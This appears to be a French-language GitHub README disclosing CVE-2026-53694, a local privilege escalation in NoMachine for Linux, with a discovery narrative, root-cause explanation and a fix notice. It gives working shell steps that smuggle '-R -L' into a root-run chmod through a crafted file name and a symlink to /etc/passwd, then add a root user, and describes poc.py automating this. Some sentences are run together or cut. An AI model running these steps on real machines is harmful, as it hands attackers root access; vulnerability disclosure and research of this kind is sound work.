do4choo/cve-2026-53694-nomachine-lpeExploit de preuve de concept et rapport pour CVE-2026-53694, une élévation de privilèges locale dans NoMachine pour Linux via une injection d'arguments dans nxchmod.sh, permettant un accès root via la manipulation de liens symboliques.
Ce dépôt contient le rapport et la preuve de concept (PoC) pour CVE-2026-53694, une vulnérabilité d'élévation de privilèges locale (LPE) dans NoMachine pour Linux.
En raison d'une neutralisation incorrecte des délimiteurs d'arguments dans le script nxchmod.sh, un utilisateur local non privilégié peut injecter des arguments dans une commande système exécutée en tant que root. En combinant cette injection d'arguments avec un lien symbolique, un attaquant peut écraser des fichiers système critiques (comme /etc/passwd) et élever ses privilèges jusqu'à root.
Cette vulnérabilité a été entièrement corrigée par l'éditeur.
Trouver cette vulnérabilité a été un processus d'essais, d'erreurs et d'une prise de conscience tardive. Voici comment la découverte s'est déroulée :
/usr/NX/scripts/restricted/nxchmod.sh était exécuté périodiquement par l'utilisateur root pour gérer les permissions dans des répertoires spécifiques.chmod a+rw aux fichiers. J'ai pensé : Si je contrôle la destination, puis-je utiliser un lien symbolique pour rendre /etc/passwd inscriptible ? J'ai testé un lien symbolique standard (ln -s /etc/passwd /tmp/asdf), mais cela a échoué. Le sticky bit de Linux sur des répertoires comme /tmp empêche l'utilisateur root de suivre aveuglément un lien symbolique créé par un autre utilisateur.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. Le script prenait le nom de fichier littéral et le passait directement à chmod.X1234 -R -L. Lorsque le script s'exécutait, la commande chmod développait cela en arguments plutôt qu'en un seul chemin de fichier.La vulnérabilité provient de la manière dont NoMachine gère les permissions des sockets X11/Wayland. Le script nxchmod.sh est lancé par le démon nxserver.bin s'exécutant en tant que root.
L'exécution vulnérable ressemble à ceci :
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
Si un attaquant crée une structure de répertoires et un fichier nommé X1234 -R -L, la commande résultante exécutée par root devient :
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
Lorsqu'un lien symbolique pointant vers /etc/passwd est placé dans le répertoire X1234, les arguments injectés -R et -L forcent chmod à suivre récursivement le lien symbolique et à accorder des permissions de lecture/écriture globales au fichier cible.
Pour que cette exploitation fonctionne, le système cible doit remplir les conditions suivantes :
Vous pouvez reproduire cette vulnérabilité soit manuellement à l'aide de commandes shell, soit automatiquement à l'aide du script Python fourni.
Accédez à /tmp/.X11-unix/ et exécutez les commandes suivantes pour créer la structure de répertoires malveillante.
cd /tmp/.X11-unix/
# 1. Mise en place de l'exploitation
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Attendez que nxchmod.sh s'exécute (cela peut prendre jusqu'à 60 secondes).
# Vérifiez que les permissions de /etc/passwd sont devenues -rw-rw-rw-
# Vous pouvez maintenant éditer /etc/passwd pour ajouter un utilisateur root.
Une fois que vous avez vérifié la vulnérabilité et élevé les privilèges, exécutez les commandes de nettoyage suivantes pour restaurer la stabilité du système et supprimer les artefacts :
# 2. Nettoyage
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
Un exploit automatisé complet est fourni dans poc.py. Ce script vérifie les prérequis Wayland, met en place le lien symbolique, attend le cycle d'exécution de nxchmod.sh et injecte un nouvel utilisateur root (gg) dans /etc/passwd.
Pour exécuter l'exploit :
python3 poc.py
Cette vulnérabilité a été corrigée par NoMachine. Les utilisateurs doivent mettre à jour vers les versions suivantes ou ultérieures :
-L (suivre les liens symboliques) et -R (récursif) dans la commande chmod via le nom de fichier, j'ai forcé le binaire chmod lui-même à résoudre et à suivre le lien symbolique que j'avais créé dans le répertoire, contournant complètement la protection du sticky bit./etc/passwd rendu inscriptible (a+rw), j'ai simplement pu ajouter un nouvel utilisateur root au fichier et exécuter su pour y accéder.